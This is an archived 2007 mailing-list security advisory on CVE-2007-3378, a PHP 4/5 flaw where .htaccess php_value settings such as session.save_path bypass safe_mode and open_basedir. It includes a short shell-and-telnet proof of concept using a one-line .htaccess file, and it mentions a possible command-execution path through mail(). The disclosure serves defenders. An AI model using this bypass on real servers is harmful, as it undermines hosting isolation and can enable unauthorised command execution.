|
|||||||||||
|
PHP 4/5 htaccess safemode and open_basedir Bypass
From: <cxib(at)securityreason.com>
Date: Tue Jun 26 2007 - 20:42:04 EDT
[PHP 5.2.3 PHP 4.4.7, htaccess safemode and open_basedir Bypass Vulnerability ] Author: Maksymilian Arciemowicz (cXIb8O3)
SecurityReason
SecurityReason Research
CVE: CVE-2007-3378
Affected Software: PHP <= 5.2.3 , PHP <= 4.4.7 Advisory URL: http://securityreason.com/achievement_securityalert/45 Vendor: http://www.php.net
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. When using PHP as an Apache module, you can also change the configuration settings using directives in Apache configuration files (e.g. httpd.conf) and .htaccess files. You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. php_value name value Sets the value of the specified directive. Can be used only with PHP_INI_ALL and PHP_INI_PERDIR type directives. To clear a previously set value use none as the value. Note: Don't use php_value to set boolean values. php_flag (see below) should be used instead. php_flag name on|off Used to set a boolean configuration directive. Can be used only with PHP_INI_ALL and PHP_INI_PERDIR type directives. mail.force_extra_parameters - Force the addition of the specified parameters to be passed as extra parameters to the sendmail binary. These parameters will always replace the value of the 5th parameter to mail(), even in safe mode http://pl.php.net/manual/en/configuration.changes.php
When using PHP as an Apache module, you can also change the configuration settings using directives in .htaccess file. These options are used by a lot of users to change permissions options like display_errors etc. But it is possible to bypass a safe_mode or open_basedir in different functions.For example you can set session.save_path via .htaccess. In function session_save_path() and ini_set() save_path is checked for safe_mode and open_basedir. In .htaccess it is bypassed. Values from .htaccess are not checked. For example:
cxib# ls -la /www/cxib/
drwxr-xr-x 3 cxib www 512 Feb 16 20:20 . drwxr-xr-x 11 www www 7168 Feb 16 20:07 .. - -rw-r--r-- 1 cxib www 53 Feb 16 20:19 stars.php drwxr-xr-x 2 cxib www 512 Feb 16 20:18 tempscxib# cat /www/cxib/stars.php <?php session_save_path("/inne"); session_start(); ?> cxib# telnet 0 80 Trying 0.0.0.0... Connected to 0. Escape character is '^]'. GET /cxib/stars.php HTTP/1.1 Host: localhost HTTP/1.1 200 OK
<br />
Connection closed by foreign host.
So we can't create session in directory. But when we create file
.htaccess, we can
cxib# ls -la /www/cxib/
drwxr-xr-x 3 cxib www 512 Feb 16 20:26 . drwxr-xr-x 11 www www 7168 Feb 16 20:26 .. - -rw-r--r-- 1 cxib www 34 Feb 16 20:26 .htaccess - -rw-r--r-- 1 cxib www 53 Feb 16 20:19 stars.php drwxr-xr-x 2 cxib www 512 Feb 16 20:18 tempscxib# cat /www/cxib/.htaccess php_value session.save_path /inne cxib# cat /www/cxib/stars.php <?php session_start(); ?> We can't set session.save_path via ini_set() or session_save_path(). Let's try sending a request.
cxib# telnet 0 80
HTTP/1.1 200 OK
Connection closed by foreign host.
Open_basedir and safe_mode are bypassed. Same problem is in error_log and probably in other functions. This issue allows attacker to bypass disabled_functions like system, exec etc. We have contacted with Stefan Esser to verify this issue, big thanks for him. In PHP 5.2.3 it is possible to execute command using exploit if mail() function is allowed.
!WARNING!
Tested on: PHP 5.2.3 FreeBSD 6.2. PHP 5.2.3 OpenBSD 4.1
Only for PHP5:
This bug has been founded on February 2007 We are still awaiting for reply from PHP Team.
For: sp3x, Infospec p_e_a, l5x, pi3 and Stefan Esser
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
iD8DBQFGlsRe3Ke13X/fTO4RAqCPAJ9PGzk1l53YdU7oQ2daSqV7umS4FwCfZLqg
0gL56QwGpildJBh98c6KzcQ=
This archive was generated by hypermail 2.1.8 : Wed Jun 27 2007 - 11:40:04 EDT |
||||||||||
|
|||||||||||